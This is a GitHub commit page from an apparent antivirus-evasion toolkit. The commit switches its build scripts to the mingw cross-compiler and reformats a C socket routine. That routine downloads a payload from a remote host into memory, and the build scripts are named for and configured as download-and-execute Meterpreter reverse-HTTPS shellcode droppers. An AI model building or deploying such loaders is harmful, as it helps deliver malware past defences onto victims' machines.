Skip to content

Commit

Permalink
switch to mingw-crosscompiler
Browse files Browse the repository at this point in the history
  • Loading branch information
Thund3rPat committed Jul 9, 2020
1 parent aa20280 commit 1bd0979
Show file tree
Hide file tree
Showing 9 changed files with 55 additions and 50 deletions.
6 changes: 3 additions & 3 deletions build/build_dkmc_downloadexecshc_revhttps_win32.sh
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
#!/bin/bash
#!/bin/bash


#DESCRIPTION_START
Expand Down Expand Up @@ -58,8 +58,8 @@ set_payload_info_source no_data
# set shellcode binding technique
set_payload_execution_method exec_shellcode

# compile
$win32_compiler -s -o output/dkmc_downloadexecshc_revhttps_win32.exe source/avet.c -lwsock32 -lWs2_32
# compile
$win32_compiler -s -o output/dkmc_downloadexecshc_revhttps_win32.exe source/avet.c -lwsock32 -lws2_32
strip output/dkmc_downloadexecshc_revhttps_win32.exe

# cleanup
Expand Down
4 changes: 2 additions & 2 deletions build/build_downloadbitsadmin_mtrprtrxor_revhttps_win64.sh
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
#!/bin/bash
#!/bin/bash


#DESCRIPTION_START
Expand Down Expand Up @@ -53,7 +53,7 @@ set_payload_execution_method exec_shellcode64
enable_debug_print to_file C:/users/public/avetdbg.txt

# compile
$win64_compiler -o output/downloadbitsadmin_mtrprtrxor_revhttps_win64.exe source/avet.c -lwsock32 -lWs2_32
$win64_compiler -o output/downloadbitsadmin_mtrprtrxor_revhttps_win64.exe source/avet.c -lwsock32 -lws2_32
strip output/downloadbitsadmin_mtrprtrxor_revhttps_win64.exe

# cleanup
Expand Down
4 changes: 2 additions & 2 deletions build/build_downloadcurl_mtrprtrxor_revhttps_win64.sh
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
#!/bin/bash
#!/bin/bash


#DESCRIPTION_START
Expand Down Expand Up @@ -53,7 +53,7 @@ set_payload_execution_method exec_shellcode64
enable_debug_print to_file C:/users/public/avetdbg.txt

# compile
$win64_compiler -o output/downloadcurl_mtrprtrxor_revhttps_win64.exe source/avet.c -lwsock32 -lWs2_32
$win64_compiler -o output/downloadcurl_mtrprtrxor_revhttps_win64.exe source/avet.c -lwsock32 -lws2_32
strip output/downloadcurl_mtrprtrxor_revhttps_win64.exe

# cleanup
Expand Down
4 changes: 2 additions & 2 deletions build/build_downloadsocket_mtrprtrxor_revhttps_win64.sh
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
#!/bin/bash
#!/bin/bash


#DESCRIPTION_START
Expand Down Expand Up @@ -49,7 +49,7 @@ set_payload_info_source no_data
set_payload_execution_method exec_shellcode64

# compile
$win64_compiler -o output/downloadsocket_mtrprtrxor_revhttps_win64.exe source/avet.c -lwsock32 -lWs2_32
$win64_compiler -o output/downloadsocket_mtrprtrxor_revhttps_win64.exe source/avet.c -lwsock32 -lws2_32
strip output/downloadsocket_mtrprtrxor_revhttps_win64.exe

# cleanup
Expand Down
4 changes: 2 additions & 2 deletions build/build_downloadsocket_revhttps_win32.sh
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
#!/bin/bash
#!/bin/bash


#DESCRIPTION_START
Expand Down Expand Up @@ -50,7 +50,7 @@ set_payload_info_source no_data
set_payload_execution_method exec_shellcode

# compile to exe file
$win32_compiler -o output/downloadsocket_revhttps_win32.exe source/avet.c -lwsock32 -lWs2_32
$win32_compiler -o output/downloadsocket_revhttps_win32.exe source/avet.c -lwsock32 -lws2_32
strip output/downloadsocket_revhttps_win32.exe

# cleanup
Expand Down
3 changes: 2 additions & 1 deletion build/global_win32.sh
Original file line number Diff line number Diff line change
@@ -1 +1,2 @@
win32_compiler="wine gcc -m32"
win32_compiler="i686-w64-mingw32-gcc"
# win32_compiler="wine gcc -m32"
3 changes: 2 additions & 1 deletion build/global_win64.sh
Original file line number Diff line number Diff line change
@@ -1 +1,2 @@
win64_compiler="wine gcc -m64"
win64_compiler="x86_64-w64-mingw32-gcc"
# win64_compiler="wine gcc -m64"
3 changes: 3 additions & 0 deletions setup.sh
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,9 @@ sudo apt update
sudo apt install wine -y
sudo apt install wine32 -y

# Install mingw crosscompiler
sudo apt install mingw-w64 -y

echo "+++ Downloading and installing tdm-gcc via wine"
wget https://github.com/jmeubank/tdm-gcc/releases/download/v9.2.0-tdm64-1/tdm64-gcc-9.2.0.exe
wine tdm64-gcc-9.2.0.exe
Expand Down
74 changes: 37 additions & 37 deletions source/implementations/retrieve_data/download_socket.h
Original file line number Diff line number Diff line change
Expand Up @@ -2,8 +2,8 @@

#include <stdio.h>
#include <string.h>
#include "WinSock2.h"
#include "Ws2tcpip.h"
#include "winsock2.h"
#include "ws2tcpip.h"
#include "../debug_print/debug_print.h"


Expand All @@ -19,7 +19,7 @@ unsigned char *download_data(char *uri, int *data_size) {
struct addrinfo hints;
memset(&hints, 0, sizeof(struct addrinfo));
struct addrinfo* ai;

// Prepare URI strings
// URI is expected to be of format http://myserver.net/filename:port

Expand All @@ -32,85 +32,85 @@ unsigned char *download_data(char *uri, int *data_size) {
}

// Extract hostname
char server_hostname[256];
strcpy(server_hostname, uri_short);
*strchr(server_hostname, '/') = '\0';
char server_hostname[256];
strcpy(server_hostname, uri_short);
*strchr(server_hostname, '/') = '\0';

// Truncate after last '/' and before ':' to get the file name
char server_filename[256];
strcpy(server_filename, strrchr(uri_short, '/') + 1);
// No ':' means that no port is specified. Avoid access violation.
if(strrchr(server_filename, ':') != NULL) {
*strrchr(server_filename, ':') = '\0';
}

// Truncate after last ':' to get the server port as string
char server_port_string[256];
char server_port_string[256];

if(strrchr(uri_short, ':') != NULL) {
strcpy(server_port_string, strrchr(uri_short, ':') + 1);
// No ':' means that no port is specified. In this case, assume port 80.
} else {
strcpy(server_port_string, "80");
}

DEBUG_PRINT("Attempting to download data from target into memory via HTTP request...\n");
DEBUG_PRINT("\tTarget host:\t%s\n", server_hostname);
DEBUG_PRINT("\tTarget port:\t%s\n", server_port_string);
DEBUG_PRINT("\tRequested file:\t%s\n", server_filename);
DEBUG_PRINT("\tRequested file:\t%s\n", server_filename);

// Initialize WSA
if(WSAStartup(MAKEWORD(2, 0), &wsa) != 0) {
DEBUG_PRINT("WSA initialization failed!\n");
return NULL;
}

// Init server data
// Get server IP address
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
hints.ai_protocol = IPPROTO_TCP;

if(getaddrinfo(server_hostname, server_port_string, &hints, &ai) != 0) {
DEBUG_PRINT("getaddrinfo failed!\n");
return NULL;
}
// Create socket
}

// Create socket
if((s = socket(ai->ai_family, ai->ai_socktype, ai->ai_protocol)) == INVALID_SOCKET) {
DEBUG_PRINT("Socket creation failed!\n");
return NULL;
}

// Connect to server
if(connect(s, ai->ai_addr, ai->ai_addrlen) < 0) {
DEBUG_PRINT("Connection to server failed!\n");
return NULL;
}

// Free address info struct, no longer needed
freeaddrinfo(ai);
freeaddrinfo(ai);

// Assemble and send HTTP GET request
char request[512];
char request[512];
sprintf(request, "GET %s HTTP/1.1\r\n\r\n", server_filename);
sprintf(request + strlen(request), "Host: %s\r\n\r\n", server_hostname);
DEBUG_PRINT("Sending request:\n%s\n", request);

DEBUG_PRINT("Sending request:\n%s\n", request);

if(send(s, request, strlen(request), 0) < strlen(request)) {
DEBUG_PRINT("Sending HTTP GET request failed!\n");
return NULL;
}

// Parse response header and extract content length
char response[512];
char response[512];

while (strcmp(response, "\r\n")) {
for (int i = 0; strcmp(response + i - 2, "\r\n"); i++) {
recv(s, response + i, 1, 0); response[i + 1] = '\0';
}

if (strstr(response, "Content-Length:") == response) {
*strchr(response, '\r') = '\0';
*data_size = atoi(strchr(response, ' ') + 1);
Expand All @@ -120,19 +120,19 @@ unsigned char *download_data(char *uri, int *data_size) {
// Allocate memory of respective size for received data
unsigned char *data = (unsigned char *) malloc(*data_size);

unsigned char current_byte;
for (int i = 0; i < *data_size; i++) {
recv(s, &current_byte, 1, 0);
unsigned char current_byte;
for (int i = 0; i < *data_size; i++) {
recv(s, &current_byte, 1, 0);
data[i] = current_byte;
}

// Cleanup
closesocket(s);
WSACleanup();

DEBUG_PRINT("Data received, %d bytes.\n", *data_size);

return data;
DEBUG_PRINT("Data received, %d bytes.\n", *data_size);

return data;
}


Expand All @@ -142,6 +142,6 @@ unsigned char *download_data(char *uri, int *data_size) {
// data_size receives the size of the data in bytes.
unsigned char* download_socket(char *arg1, int *data_size) {
DEBUG_PRINT("Downloading data from url via sockets...\n");

return download_data(arg1, data_size);
}

0 comments on commit 1bd0979

Please sign in to comment.